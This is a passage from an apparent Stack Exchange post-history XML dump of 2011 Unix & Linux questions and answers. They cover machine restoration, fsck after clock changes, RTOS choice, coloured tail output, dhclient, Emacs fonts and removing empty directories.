(See links above for ways to automate this process)&#xD;&#xA;    * do &quot;make superclean&quot; and &quot;make install&quot; with each of the compiled programs I've written.&#xD;&#xA;    * somehow (?) remember where the batch scripts &quot;need&quot; to go, and create a soft link from that location to the master source in my /home/ directory. (Is there a way to automate this?)&#xD;&#xA;    * somehow (?) remember all the stuff I have running as cron and anacron jobs, and enter them back in again.&#xD;&#xA;    * install software that was purchased on CD from the ISO image on the file server.&#xD;&#xA;* ... is there anything else I'm missing?&#xD;&#xA;&#xD;&#xA;  [2]: http://superuser.com/questions/6338/how-do-you-track-which-packages-were-installed-on-ubuntu-linux/6932#6932&#xD;&#xA;  [3]: http://superuser.com/questions/10458/how-do-you-track-which-packages-were-installed-on-fedora-linux" />
  <row Id="19821" PostHistoryTypeId="2" PostId="8409" RevisionGUID="e4969da3-6a41-4d39-b95c-2eb0e39e19ab" CreationDate="2011-03-01T17:41:20.717" UserId="2134" Text="I'm working with a system where we want to allow users to play around with the date and time if they want, and where reboots may happen arbitrarily. This is fine, except for one thing: if there's a large time jump backwards, the following error appears on reboot:&#xD;&#xA;&#xD;&#xA;    Checking filesystems&#xD;&#xA;    IMAGE2: Superblock last mount time (Tue Mar  1 17:32:48 2011,&#xD;&#xA;            now = Thu Feb 24 17:34:29 2011) is in the future.&#xD;&#xA;&#xD;&#xA;    IMAGE2: UNEXPECTED INCONSISTENCY; RUN fsck MANUALLY.&#xD;&#xA;            (i.e., without -a or -p options)&#xD;&#xA;&#xD;&#xA;    *** An error occurred during the file system check.&#xD;&#xA;    *** Dropping you to a shell; the system will reboot&#xD;&#xA;    *** when you leave the shell.&#xD;&#xA;&#xD;&#xA;…and then the boot hangs waiting for user console input, and even once console access is gained, requires a root password to continue.&#xD;&#xA;&#xD;&#xA;This is decidedly less than ideal. Is there any way to either skip the check or force the check to happen automatically on reboot?&#xD;&#xA;&#xD;&#xA;Google has only provided help that requires running fsck manually if/when this is hit, which is not what I'm after. Running fsck manually after setting the time doesn't work as the filesystem is still mounted at that point.&#xD;&#xA;&#xD;&#xA;I'm using RedHat 6." />
  <row Id="19822" PostHistoryTypeId="1" PostId="8409" RevisionGUID="e4969da3-6a41-4d39-b95c-2eb0e39e19ab" CreationDate="2011-03-01T17:41:20.717" UserId="2134" Text="Automatically avoiding &quot;Run fsck manually&quot; messages on reboot" />
  <row Id="19823" PostHistoryTypeId="3" PostId="8409" RevisionGUID="e4969da3-6a41-4d39-b95c-2eb0e39e19ab" CreationDate="2011-03-01T17:41:20.717" UserId="2134" Text="ébootàérhelàéfsckà" />
  <row Id="19824" PostHistoryTypeId="5" PostId="7453" RevisionGUID="235171f0-0b04-4ca9-b708-75b3c400f2e3" CreationDate="2011-03-01T17:43:14.150" UserId="3635" Comment="Changed the question header to be more meaningful, minor updates to question body for readability." Text="From `vi`, if you issue the command `:sp`, the screen splits into two &quot;views&quot;, allowing you to edit more than one file from the same console screen. &#xD;&#xA;&#xD;&#xA;Is there a way to do something similar with a Linux terminal, where you can have multiple shells open in the same console screen?" />
  <row Id="19825" PostHistoryTypeId="4" PostId="7453" RevisionGUID="235171f0-0b04-4ca9-b708-75b3c400f2e3" CreationDate="2011-03-01T17:43:14.150" UserId="3635" Comment="Changed the question header to be more meaningful, minor updates to question body for readability." Text="Linux - How to split the terminal into more than one &quot;view&quot;?" />
  <row Id="19827" PostHistoryTypeId="2" PostId="8411" RevisionGUID="5200e826-1572-4110-9761-7e479d2832bc" CreationDate="2011-03-01T17:49:18.717" UserId="1676" Text="**$HOME in version control**&#xD;&#xA;&#xD;&#xA;* Periodically commit everything in the /home directory to the version control repositories. (Except always do &quot;make superclean&quot; just before committing the programmer's $HOME directory, so he never commits binary executables or other easily-machine-generated files).&#xD;&#xA;* For each user that &quot;owns&quot; unique data on my work computer, make sure there is some sort of version control repository on my file server that contains that user's entire $HOME directory (&quot;$HOME in subversion&quot;).&#xD;&#xA;Even though I'm practically the only human that touches this keyboard,&#xD;&#xA;I have a separate user for:&#xD;&#xA;The untrusted web browser who likes to install lots of potentially malware-infected games;&#xD;&#xA;the C programmer who often writes software with horrific bugs and so we want to keep him isolated in a sandpile where he can't accidentally delete my favorite web bookmarks;&#xD;&#xA;the robot user that runs the wiki;&#xD;&#xA;the root user; etc.&#xD;&#xA;* keep all &quot;my&quot; files in my $HOME directory, which is a version control working directory.&#xD;&#xA;    * text files, photographs, web browser bookmark file, etc. -- all in the home directory.&#xD;&#xA;    * if I write a batch script that &quot;needs&quot; to go in some other subdirectory, keep the master copy somewhere in my $HOME directory, and make a soft link from that other subdirectory to the master copy.&#xD;&#xA;    * If I write compiled software that &quot;needs&quot; to go in some other subdirectory, keep the master source code and Makefile in some subdirectory of my $HOME directory, and set up the Makefile so &quot;make install&quot; automagically installs the binary executable in that other directory.&#xD;&#xA;    * If I fix bugs in some software, pass the bug fixes upstream.&#xD;&#xA;    * keep a list in some text file in my $HOME directory of &quot;apps I like and wasn't installed by default&quot; and &quot;apps that are normally installed by default but I don't like&quot;. See [How do you track which packages were installed on Ubuntu (Linux)?][2] or [How do you track which packages were installed on Fedora (Linux)?][3]&#xD;&#xA;* if I purchase software on CD or DVD, back up the ISO image on my file server, and install from that image onto my work computer. (Because my work computer doesn't *have* an optical drive).&#xD;&#xA;&#xD;&#xA;Later, when machine A is lost,&#xD;&#xA;&#xD;&#xA;* install the latest version of whatever distro is my favorite this week, including all the default software, on machine C.&#xD;&#xA;* For each user, do a version control checkout of the latest version (HEAD), except somehow (?) skipping over all binary executables. This blocks some kinds of viruses and trojans from spreading to C.&#xD;&#xA;* setup other stuff outside my home directory:&#xD;&#xA;    * check my list of apps, uninstall stuff I don't want.&#xD;&#xA;    * check my list of apps, install the latest version of stuff I want. Hopefully the latest version includes the bug fixes I've passed back. (See links above for ways to automate this process)&#xD;&#xA;    * do &quot;make superclean&quot; and &quot;make install&quot; with each of the compiled programs I've written.&#xD;&#xA;    * somehow (?) remember where the batch scripts &quot;need&quot; to go, and create a soft link from that location to the master source in my /home/ directory. (Is there a way to automate this?)&#xD;&#xA;    * somehow (?) remember all the stuff I have running as cron and anacron jobs, and enter them back in again.&#xD;&#xA;    * install software that was purchased on CD from the ISO image on the file server.&#xD;&#xA;* ... is there anything else I'm missing?&#xD;&#xA;&#xD;&#xA;  [2]: http://superuser.com/questions/6338/how-do-you-track-which-packages-were-installed-on-ubuntu-linux/6932#6932&#xD;&#xA;  [3]: http://superuser.com/questions/10458/how-do-you-track-which-packages-were-installed-on-fedora-linux" />
  <row Id="19828" PostHistoryTypeId="5" PostId="8409" RevisionGUID="3b9ae58d-fd23-4f32-b18c-f944d9067321" CreationDate="2011-03-01T17:50:52.193" UserId="2134" Comment="add disabling fsck not ideal" Text="I'm working with a system where we want to allow users to play around with the date and time if they want, and where reboots may happen arbitrarily. This is fine, except for one thing: if there's a large time jump backwards, the following error appears on reboot:&#xD;&#xA;&#xD;&#xA;    Checking filesystems&#xD;&#xA;    IMAGE2: Superblock last mount time (Tue Mar  1 17:32:48 2011,&#xD;&#xA;            now = Thu Feb 24 17:34:29 2011) is in the future.&#xD;&#xA;&#xD;&#xA;    IMAGE2: UNEXPECTED INCONSISTENCY; RUN fsck MANUALLY.&#xD;&#xA;            (i.e., without -a or -p options)&#xD;&#xA;&#xD;&#xA;    *** An error occurred during the file system check.&#xD;&#xA;    *** Dropping you to a shell; the system will reboot&#xD;&#xA;    *** when you leave the shell.&#xD;&#xA;&#xD;&#xA;…and then the boot hangs waiting for user console input, and even once console access is gained, requires a root password to continue.&#xD;&#xA;&#xD;&#xA;This is decidedly less than ideal. Is there any way to either skip the check or force the check to happen automatically on reboot?&#xD;&#xA;&#xD;&#xA;Google has only provided help that requires running fsck manually if/when this is hit, which is not what I'm after. Running fsck manually after setting the time doesn't work as the filesystem is still mounted at that point, and just disabling fsck entirely is less than ideal.&#xD;&#xA;&#xD;&#xA;I'm using RedHat 6." />
  <row Id="19830" PostHistoryTypeId="2" PostId="8412" RevisionGUID="185a4c24-0deb-41f2-920e-3175581f290a" CreationDate="2011-03-01T17:58:02.877" UserId="1676" Text="**life in a virtual machine**&#xD;&#xA;&#xD;&#xA;* Set up a virtual machine on my work computer. Do all my real work inside that virtual machine.&#xD;&#xA;* Periodically pause the virtual machine, and backup the virtualized disk and virtual system state to the file server.&#xD;&#xA;(is there some way to do all or most this in the background, while I'm using my computer, so I only need to pause long enough to back up the last few things?).&#xD;&#xA;&#xD;&#xA;Later, when machine A is lost,&#xD;&#xA;&#xD;&#xA;* install some convenient host operating system onto the new work machine C.&#xD;&#xA;* install virtual machine player onto work machine C.&#xD;&#xA;* Copy the virtualized disk file and virtual system state file from the file server to machine C.&#xD;&#xA;* Run the virtual machine player to un-pause that virtual machine.&#xD;&#xA;&#xD;&#xA;Alas, now C is running all the viruses and trojans that A has collected -- is there a way to block at least some of them?" />
  <row Id="19831" PostHistoryTypeId="2" PostId="8413" RevisionGUID="6742499e-5d65-47b3-ab48-65c17f4945ff" CreationDate="2011-03-01T18:13:29.473" UserId="3635" Text="When developing a solution that requires a real-time operating system, what advantages would an operating system such an QNX or VxWorks have over Linux? &#xD;&#xA;&#xD;&#xA;Or to put it another way, since these operating system are designed specifically for real-time, embedded use - as opposed to  Linux which is a more general system that can be tailored to real-time use - when would you *need* to use one of these operating systems instead of Linux?" />
  <row Id="19832" PostHistoryTypeId="1" PostId="8413" RevisionGUID="6742499e-5d65-47b3-ab48-65c17f4945ff" CreationDate="2011-03-01T18:13:29.473" UserId="3635" Text="Advantages of using a RTOS such as QNX or VxWorks instead of Linux?" />
  <row Id="19833" PostHistoryTypeId="3" PostId="8413" RevisionGUID="6742499e-5d65-47b3-ab48-65c17f4945ff" CreationDate="2011-03-01T18:13:29.473" UserId="3635" Text="élinuxàérealötimeàértosàévxworksàéqnxà" />
  <row Id="19834" PostHistoryTypeId="2" PostId="8414" RevisionGUID="a32f7065-8a6b-402e-a926-dda1873b80e5" CreationDate="2011-03-01T19:13:29.527" UserId="3115" Text="I'd like to be able to tail the output of a server log file that has messages like:&#xD;&#xA;&#xD;&#xA;INFO&#xD;&#xA;SEVERE&#xD;&#xA;&#xD;&#xA;etc, and if its SEVERE, show the line in red, if its info, in green.  What kind of alias can I setup for a tail command that would help me do this?" />
  <row Id="19835" PostHistoryTypeId="1" PostId="8414" RevisionGUID="a32f7065-8a6b-402e-a926-dda1873b80e5" CreationDate="2011-03-01T19:13:29.527" UserId="3115" Text="How to have tail -f show colored output" />
  <row Id="19836" PostHistoryTypeId="3" PostId="8414" RevisionGUID="a32f7065-8a6b-402e-a926-dda1873b80e5" CreationDate="2011-03-01T19:13:29.527" UserId="3115" Text="étailà" />
  <row Id="19840" PostHistoryTypeId="2" PostId="8416" RevisionGUID="69ee16fc-1507-499a-b969-c730706d1e05" CreationDate="2011-03-01T19:27:07.883" UserId="732" Text="I've not done any real-time work at all so take this with a grain of salt...&#xD;&#xA;&#xD;&#xA;I'm told there's two categories of &quot;real-time&quot;:  hard real-time and soft real-time.&#xD;&#xA;&#xD;&#xA;&quot;Soft real-time&quot; informally means &quot;get it done as fast as possible&quot;. I think that Linux on a modern CPU is good for this sort of thing.&#xD;&#xA;&#xD;&#xA;&quot;Hard real-time&quot; informally means &quot;get it done within a required time window&quot;.  The window can be quite small, milliseconds or something.  Flight control systems for cruise missiles or satellite launch vehicles seem like the canonical example.  Industrial process control systems might also need this.  The Stuxnet worm appears to have interferred with systems that do this sort of controlling.&#xD;&#xA;&#xD;&#xA;You'd use RTOS in the latter situation.  RTOS often guarantee delivering an interrupt in less than so many instructions or clock ticks or whatever.&#xD;&#xA;&#xD;&#xA;Another consideration might be that an RTOS is designed, tested and/or &quot;proved&quot; to not consume stack space without bound.  It can live inside a certain minimum amount of memory, and things like an &quot;OOM Killer&quot; don't exist because they are provably never needed. Some of the goofier features of early FORTRAN come from this type of requirement.  When you compiled a FORTRAN II program, you knew exactly how much stack and how  much heap it needed, since you couldn't recurse, and you couldn't dynamically allocate anything.&#xD;&#xA;&#xD;&#xA;Realistically, the second consideration (guaranteed max memory consumption) may be more important in some safety-critical applications than &quot;guaranteed interrupt latency of 0.001 seconds&quot;.&#xD;&#xA;&#xD;&#xA;I would also imagine that stripping the selection process of the fig-leaf of supporting verbiage, you'd find that engineers choose an RTOS because &quot;the requirements say to&quot;." />
  <row Id="19842" PostHistoryTypeId="6" PostId="8414" RevisionGUID="d5750228-f494-4f85-b391-5d4e4ceee1dd" CreationDate="2011-03-01T19:36:53.960" UserId="73" Comment="edited tags" Text="écommandölineàéaliasàétailà" />
  <row Id="19843" PostHistoryTypeId="5" PostId="8414" RevisionGUID="28a4efe1-7424-4a1e-b6a4-8407c5bd40fd" CreationDate="2011-03-01T19:52:46.240" UserId="73" Comment="added 10 characters in body; added 8 characters in body" Text="I'd like to be able to tail the output of a server log file that has messages like:&#xD;&#xA;&#xD;&#xA;    INFO&#xD;&#xA;    SEVERE&#xD;&#xA;&#xD;&#xA;etc, and if it's `SEVERE`, show the line in red; if it's `INFO`, in green.  What kind of alias can I setup for a `tail` command that would help me do this?&#xD;&#xA;" />
  <row Id="19844" PostHistoryTypeId="5" PostId="7453" RevisionGUID="dcc8bc5b-bf9e-4a5e-a09e-7551a331e5c1" CreationDate="2011-03-01T19:59:27.430" UserId="3635" Comment="deleted 46 characters in body" Text="From `vi`, if you issue the command `:sp`, the screen splits into two &quot;views&quot;, allowing you to edit more than one file from the same terminal. &#xD;&#xA;&#xD;&#xA;Along those same lines, is there a way to have multiple shells open in the same terminal?" />
  <row Id="19845" PostHistoryTypeId="2" PostId="8417" RevisionGUID="33557ce2-0d52-4d6e-b077-fd16434a060a" CreationDate="2011-03-01T20:09:51.570" UserId="4078" Text="Have you had a look at [ccze][1]? You have the possibility to customize the default colors or some keywords using the option `-c` or directly in your configuration file.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://pwet.fr/man/linux/commandes/ccze" />
  <row Id="19846" PostHistoryTypeId="2" PostId="8418" RevisionGUID="2bf8b810-b167-4658-ba44-6637f7909784" CreationDate="2011-03-01T20:16:12.897" UserId="1676" Text="Some embedded systems (a) need to meet difficult real-time requirements, and yet (b) have very limited hardware (which makes it even more difficult to meet those requirements).&#xD;&#xA;&#xD;&#xA;If you can't change the hardware, then there are several situations where you are forced to rule out Linux and use something else instead:&#xD;&#xA;&#xD;&#xA;* Perhaps the CPU doesn't even have a MMU, which makes it impossible to run Linux (except uClinux, and as far as I know uClinux is not real-time).&#xD;&#xA;* Perhaps the CPU is relatively slow, and the worst-case interrupt latency in Linux fails to meet some hard requirement, and some other RTOS tuned for extremely low worst-case interrupt latency can meet the requirement.&#xD;&#xA;* Perhaps the system has very little RAM.&#xD;&#xA;A few years ago, a minimal Linux setup required around 2 MB of RAM;&#xD;&#xA;a minimal eCos setup (with a compatibility layer letting it run some applications originally designed to run on Linux) required around 20 kB of RAM.&#xD;&#xA;* Perhaps there is no port of Linux to your hardware, and there isn't enough time to port Linux before you need to launch (pun!) your system. Many of the simpler RTOSes take much less time to port to new hardware than Linux.&#xD;&#xA;" />
  <row Id="19847" PostHistoryTypeId="25" PostId="8414" RevisionGUID="827d9261-df90-4ac5-ba48-0f15023720b0" CreationDate="2011-03-01T20:23:33.500" Comment="http://twitter.com/#!/StackUnix/status/42681399718838272" />
  <row Id="19848" PostHistoryTypeId="2" PostId="8419" RevisionGUID="e43f2851-39ae-4935-afb6-7fe0c835b314" CreationDate="2011-03-01T20:29:36.567" UserId="885" Text="Try out [**multitail**](http://www.vanheusden.com/multitail/). This is an übergeneralization of `tail -f`. You can watch multiple files in separate windows, highlight lines based on their content, and more.&#xD;&#xA;&#xD;&#xA;    multitail -c /path/to/log&#xD;&#xA;&#xD;&#xA;The colors are configurable. If the default color scheme doesn't work for you, write your own in the config file. For example, call `multitail -cS amir_log /path/to/log` with the following `~/.multitailrc`:&#xD;&#xA;&#xD;&#xA;    colorscheme:amir_log&#xD;&#xA;    cs_re:green:INFO&#xD;&#xA;    cs_re:red:SEVERE&#xD;&#xA;&#xD;&#xA;Another solution, if you're on a server where it's inconvenient to install non-**standard** tools, is to combine `tail -f` with sed or awk to add color selection control sequences. This requires `tail -f` to flush its standard output without delay even when its standard output is a pipe, I don't know if all implementations do this.&#xD;&#xA;&#xD;&#xA;    tail -f /path/to/log | awk '&#xD;&#xA;      /INFO/ {print &quot;\033[32m&quot; $0 &quot;\033[39m&quot;}&#xD;&#xA;      /SEVERE/ {print &quot;\033[31m&quot; $0 &quot;\033[39m&quot;}&#xD;&#xA;    '&#xD;&#xA;&#xD;&#xA;Yet another possibility is to run `tail -f` in an **Emacs** shell buffer and use Emacs's syntax coloring abilities.&#xD;&#xA;" />
  <row Id="19849" PostHistoryTypeId="5" PostId="8417" RevisionGUID="1f9e9712-58ab-4121-a94f-e3e1769a10dd" CreationDate="2011-03-01T20:34:20.177" UserId="4078" Comment="edited body" Text="Have you had a look at [ccze][1]? You have the possibility to customize the default colors of some keywords using the option `-c` or directly in your configuration file.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://pwet.fr/man/linux/commandes/ccze" />
  <row Id="19850" PostHistoryTypeId="5" PostId="8417" RevisionGUID="450884b6-119b-42e1-9dd6-938c6fee1afa" CreationDate="2011-03-01T20:39:40.997" UserId="4078" Comment="added 286 characters in body" Text="Have you had a look at [ccze][1]? You have the possibility to customize the default colors of some keywords using the option `-c` or directly in your configuration file.&#xD;&#xA;&#xD;&#xA;**Edit:**&#xD;&#xA;&#xD;&#xA;If you really would like to have the complete line colored in red, you could also have a try at the following:&#xD;&#xA;&#xD;&#xA;    $ tail -f myfile.log | perl -pe 's/.*ERROR.*/\e[1;31m$&amp;\e[0m/g'&#xD;&#xA;&#xD;&#xA;`\e[1;31m` will give you the red color. If you would like some yellow, use `\e[1;33m`.&#xD;&#xA;&#xD;&#xA;  [1]: http://pwet.fr/man/linux/commandes/ccze" />
  <row Id="19851" PostHistoryTypeId="2" PostId="8420" RevisionGUID="6ef27106-69e3-40a5-9cd2-5deeac5f0283" CreationDate="2011-03-01T20:43:31.733" UserId="885" Text="I doubt there's a way to remove this check specifically, short of modifying the source code. Ignoring all errors from fsck sounds dangerous, what if there was some other problem?&#xD;&#xA;&#xD;&#xA;Therefore I'll suggest the following workaround: change the boot scripts to set the system date to some time in the future (say 2038-01-18 on a 32-bit machine) just before running fsck, and read it back from the hardware clock afterwards (`hwclock --hctosys`, with more options as needed depending on your hardware and use of GMT in the hardware clock.)&#xD;&#xA;" />
  <row Id="19852" PostHistoryTypeId="6" PostId="8409" RevisionGUID="b6079897-6863-4fa3-899f-92a78fed7035" CreationDate="2011-03-01T20:43:43.950" UserId="885" Comment="edited tags" Text="ébootàérhelàédateàéfsckà" />
  <row Id="19853" PostHistoryTypeId="2" PostId="8421" RevisionGUID="60d4e843-6fb7-451e-aa55-89a649fcce39" CreationDate="2011-03-01T20:44:02.397" UserId="-1" Text="" />
  <row Id="19854" PostHistoryTypeId="2" PostId="8422" RevisionGUID="445b9e27-e40a-4d2c-bd7f-6eef15e3c349" CreationDate="2011-03-01T20:44:02.397" UserId="-1" Text="" />
  <row Id="19855" PostHistoryTypeId="5" PostId="8417" RevisionGUID="f6b039f6-877c-4c14-80f9-1ef0be3042ae" CreationDate="2011-03-01T20:46:27.717" UserId="4078" Comment="added 1 characters in body" Text="Have you had a look at [ccze][1]? You have the possibility to customize the default colors of some keywords using the option `-c` or directly in your configuration file.&#xD;&#xA;&#xD;&#xA;**Edit:**&#xD;&#xA;&#xD;&#xA;If you really would like to have the complete line colored in red, you could also have a try at the following:&#xD;&#xA;&#xD;&#xA;    $ tail -f myfile.log | perl -pe 's/.*SEVERE.*/\e[1;31m$&amp;\e[0m/g'&#xD;&#xA;&#xD;&#xA;`\e[1;31m` will give you the red color. If you would like some yellow, use `\e[1;33m`.&#xD;&#xA;&#xD;&#xA;  [1]: http://pwet.fr/man/linux/commandes/ccze" />
  <row Id="19856" PostHistoryTypeId="5" PostId="8422" RevisionGUID="78326a13-e95e-431d-a088-c8c574212bc6" CreationDate="2011-03-01T20:51:31.773" UserId="3635" Comment="added 49 characters in body" Text="fsck - check and optionally repair a file system." />
  <row Id="19857" PostHistoryTypeId="24" PostId="8422" RevisionGUID="78326a13-e95e-431d-a088-c8c574212bc6" CreationDate="2011-03-01T20:51:31.773" Comment="Proposed by 3635 approved by 885 edit id of 176" />
  <row Id="19858" PostHistoryTypeId="5" PostId="8406" RevisionGUID="6cda72e4-ce68-4edf-908f-169fadadb8d5" CreationDate="2011-03-01T20:59:53.030" UserId="885" Comment="spelling and wording" Text="I've been trying to find out with the man page and some other sources if the exit status doesn't necessarily mean you achieved an address but I'm thinking I maybe didn't read it correctly. Does anyone know why dhclient would still exit with status 0 if it doesn't think I'm connected to a network? RHEL 6 seems to have some serious network issues. &#xD;&#xA;&#xD;&#xA;Mostly I'm just confused as to whether or not I'm reading what the exit status is supposed to mean here.&#xD;&#xA;" />
  <row Id="19859" PostHistoryTypeId="4" PostId="8406" RevisionGUID="6cda72e4-ce68-4edf-908f-169fadadb8d5" CreationDate="2011-03-01T20:59:53.030" UserId="885" Comment="spelling and wording" Text="dhclient exits with status 0 but still no address" />
  <row Id="19860" PostHistoryTypeId="6" PostId="8388" RevisionGUID="61e63c2b-30de-4384-9dfd-2d400410e4bc" CreationDate="2011-03-01T21:02:39.487" UserId="885" Comment="edited tags" Text="épermissionsàérootàérmà" />
  <row Id="19861" PostHistoryTypeId="5" PostId="8406" RevisionGUID="312477cf-c451-4c65-801b-13a146ec108c" CreationDate="2011-03-01T21:05:04.743" UserId="4176" Comment="added 320 characters in body" Text="I've been trying to find out with the man page and some other sources if the exit status doesn't necessarily mean you achieved an address but I'm thinking I maybe didn't read it correctly. Does anyone know why dhclient would still exit with status 0 if it doesn't think I'm connected to a network? RHEL 6 seems to have some serious network issues. &#xD;&#xA;&#xD;&#xA;Mostly I'm just confused as to whether or not I'm reading what the exit status is supposed to mean here.&#xD;&#xA;&#xD;&#xA;I run 'dhclient eth0'&#xD;&#xA;Nothing returns in stdout.&#xD;&#xA;Yes where I am plugging in has DHCP set up correctly.&#xD;&#xA;&#xD;&#xA;I should mention that if I pop in Fedora 13 live disc and drop to bash I can do the exact same steps and get on the network just fine. The *only* difference being that I used Fedora 13 rather than RHEL 6 disc. " />
  <row Id="19862" PostHistoryTypeId="6" PostId="8398" RevisionGUID="7fc1217a-26a5-4f6b-9b8f-eed77ecff82a" CreationDate="2011-03-01T21:06:59.360" UserId="885" Comment="edited tags" Text="éhardödiskàécacheàémeasureà" />
  <row Id="19864" PostHistoryTypeId="2" PostId="8424" RevisionGUID="3257716e-617f-4f09-8558-239058f7c94f" CreationDate="2011-03-01T21:15:49.623" UserId="5239" Text="Hi,&#xD;&#xA;&#xD;&#xA;I copied my ~/.emacs file from ubuntu linux; I've installed Consolas font (and it works in gnome terminal, and as a default Monospace font); but Emacs does not see it&#xD;&#xA;&#xD;&#xA;    (custom-set-faces '(default ((t (:inherit nil :stipple nil :background &quot;white&quot; :foreground &quot;black&quot; :inverse-video nil :box nil :strike-through nil :overline nil :underline nil :slant normal :weight normal :height 98 :width normal :foundry &quot;microsoft&quot; :family &quot;Consolas&quot;))) t))&#xD;&#xA;&#xD;&#xA;That's how I set the font in emacs, but it does not work (It worked and still works in Ubuntu)&#xD;&#xA;&#xD;&#xA;What can I do?&#xD;&#xA;&#xD;&#xA;Font select menu (menu-set-font, I guess) looks very strange, consists of three options: Misc, Courier and Fontset, and there are no sign of my system fonts&#xD;&#xA;" />
  <row Id="19865" PostHistoryTypeId="1" PostId="8424" RevisionGUID="3257716e-617f-4f09-8558-239058f7c94f" CreationDate="2011-03-01T21:15:49.623" UserId="5239" Text="emacs does not see my fonts in gentoo" />
  <row Id="19866" PostHistoryTypeId="3" PostId="8424" RevisionGUID="3257716e-617f-4f09-8558-239058f7c94f" CreationDate="2011-03-01T21:15:49.623" UserId="5239" Text="éubuntuàéfontsàégentooà" />
  <row Id="19867" PostHistoryTypeId="2" PostId="8425" RevisionGUID="b19db6d2-108e-4742-9dad-9a20d0bf755b" CreationDate="2011-03-01T21:17:15.130" UserId="5094" Text="I also asked this question on the [Vodafone developer forums][1]; interesting alternative answer there seems to confirm the issue and refers me to VMC's replacement [Betavine Connection Manager][2] (BCM), but that solution is untried by me yet.&#xD;&#xA; &#xD;&#xA;  [1]: https://developer.vodafone.com/discuss/question/784/anyone-got-vodafone-mobile-connect-working-reliably-on-debiansqueeze/&#xD;&#xA;  [2]: https://forge.betavine.net/projects/bcm/" />
  <row Id="19868" PostHistoryTypeId="2" PostId="8426" RevisionGUID="294673e8-b0d4-444d-be3d-e24df928344a" CreationDate="2011-03-01T21:36:47.617" UserId="885" Text="There is no standard way, and as far as I know there is no Solaris way either. If there was a reliable way to find out the “ancestor” user, the usual unix security model where root can do everything would not hold.&#xD;&#xA;&#xD;&#xA;You can check each process's parent recursively. (Warning, untested script.)&#xD;&#xA;&#xD;&#xA;    pid=$1 pids=$pid user=&#xD;&#xA;    while pid=$(ps -o ppid= $pid); do&#xD;&#xA;      user=$(ps -o ruser= $pid)&#xD;&#xA;      case $user in&#xD;&#xA;        0|root) :;;&#xD;&#xA;        *) break;;&#xD;&#xA;      esac&#xD;&#xA;    done&#xD;&#xA;    echo $user&#xD;&#xA;&#xD;&#xA;This is not guaranteed to give any result, though. Maybe the parent's parent's parent process has exited.&#xD;&#xA;&#xD;&#xA;You can check on what terminal a process is running (`ps -o tty= $pid`) and check who last logged in on that terminal (`who`, `last`). This is only indicative, though: root can start processes on any terminal.&#xD;&#xA;&#xD;&#xA;What do you expect to see if user1 runs `su user2 -c 'su user1 -c …'`? It's conceivable that the OS would track the successive authentication chains in the kernel data structures associated with the process, but that's very far from the usual unix security model.&#xD;&#xA;" />
  <row Id="19869" PostHistoryTypeId="2" PostId="8427" RevisionGUID="cff3cdc4-293c-4e77-8183-15f57fe66e00" CreationDate="2011-03-01T21:41:01.187" UserId="394" Text="I have some documentation in an html table. I want to convert the table to an ascii table, like you see when you get a mysql command line result back, like this:&#xD;&#xA;&#xD;&#xA;    +------------+------------+&#xD;&#xA;    | header     | header     |&#xD;&#xA;    +------------+------------+&#xD;&#xA;    | cell data  | cell data  |&#xD;&#xA;    +------------+------------+&#xD;&#xA;    | cell data  | cell data  |&#xD;&#xA;    +------------+------------+&#xD;&#xA;&#xD;&#xA;... so I can include it in some code comments. &#xD;&#xA;&#xD;&#xA;How could I do this easily? I was thinking piping the output of lynx into a file, but lynx doesn't put ascii borders around tables :P&#xD;&#xA;&#xD;&#xA;I also want to control cell width, so that the content cells don't spill outside the accepted screen width of the code. " />
  <row Id="19870" PostHistoryTypeId="1" PostId="8427" RevisionGUID="cff3cdc4-293c-4e77-8183-15f57fe66e00" CreationDate="2011-03-01T21:41:01.187" UserId="394" Text="Converting html table into ncurses-like ascii table?" />
  <row Id="19871" PostHistoryTypeId="3" PostId="8427" RevisionGUID="cff3cdc4-293c-4e77-8183-15f57fe66e00" CreationDate="2011-03-01T21:41:01.187" UserId="394" Text="éshellöscriptàéncursesàélynxà" />
  <row Id="19872" PostHistoryTypeId="2" PostId="8428" RevisionGUID="d4cb9dc3-7b9d-4a92-b435-0e4f15565d71" CreationDate="2011-03-01T21:41:55.193" UserId="36" Text="This sounds like it should be run in a virtual machine, where you can have more control (or just revert to a snapshot).&#xD;&#xA;" />
  <row Id="19873" PostHistoryTypeId="2" PostId="8429" RevisionGUID="0e68666d-40f5-49e2-959f-97a96c5d745c" CreationDate="2011-03-01T21:46:49.200" UserId="36" Text="You are better off using links (http://www.jikos.cz/~mikulas/links/) for table rendering:&#xD;&#xA;&#xD;&#xA;    links -width 80 -dump http://website.com/ &gt; file.html&#xD;&#xA;" />
  <row Id="19874" PostHistoryTypeId="2" PostId="8430" RevisionGUID="b69c9877-ce29-4c10-ae8d-c50f15a6b11b" CreationDate="2011-03-01T21:48:13.590" UserId="5116" Text="How can I remove all empty directories in a subtree? I used something like&#xD;&#xA;&#xD;&#xA;    find . -type d -exec rmdir {} 2&gt;/dev/null \;&#xD;&#xA;&#xD;&#xA;but I needs to be run multiple times in order to remove directories containing empty directories only. Moreover, it's quite slow, especially under cygwin.&#xD;&#xA;" />
  <row Id="19875" PostHistoryTypeId="1" PostId="8430" RevisionGUID="b69c9877-ce29-4c10-ae8d-c50f15a6b11b" CreationDate="2011-03-01T21:48:13.590" UserId="5116" Text="How to remove all empty directories in a subtree?" />
  <row Id="19876" PostHistoryTypeId="3" PostId="8430" RevisionGUID="b69c9877-ce29-4c10-ae8d-c50f15a6b11b" CreationDate="2011-03-01T21:48:13.590" UserId="5116" Text="édirectoryà" />
  <row Id="19877" PostHistoryTypeId="5" PostId="8429" RevisionGUID="96a89fa0-897f-4bcd-9c10-cb46552fbca0" CreationDate="2011-03-01T21:57:58.780" UserId="885" Comment="hyperlink" Text="You are better off using [links](http://www.jikos.cz/~mikulas/links/) for table rendering:&#xD;&#xA;&#xD;&#xA;    links -width 80 -dump http://website.com/ &gt; file.html&#xD;&#xA;" />
  <row Id="19878" PostHistoryTypeId="2" PostId="8431" RevisionGUID="03bb058a-c129-4a3d-bb5c-3ba18acc0f36" CreationDate="2011-03-01T22:05:06.390" UserId="885" Text="Support for TrueType fonts such as your Consolas font — more generally, support for client-rendered fonts — requires Emacs to be compiled against the Freetype and Fontconfig libraries. This was introduced in Emacs 23. Before, only traditional, server-rendered fonts were supported. See [the Emacs manual](http://www.gnu.org/software/emacs/manual/html_node/emacs/Fonts.html) for more information about the two kinds of fonts and how to use them.&#xD;&#xA;" />
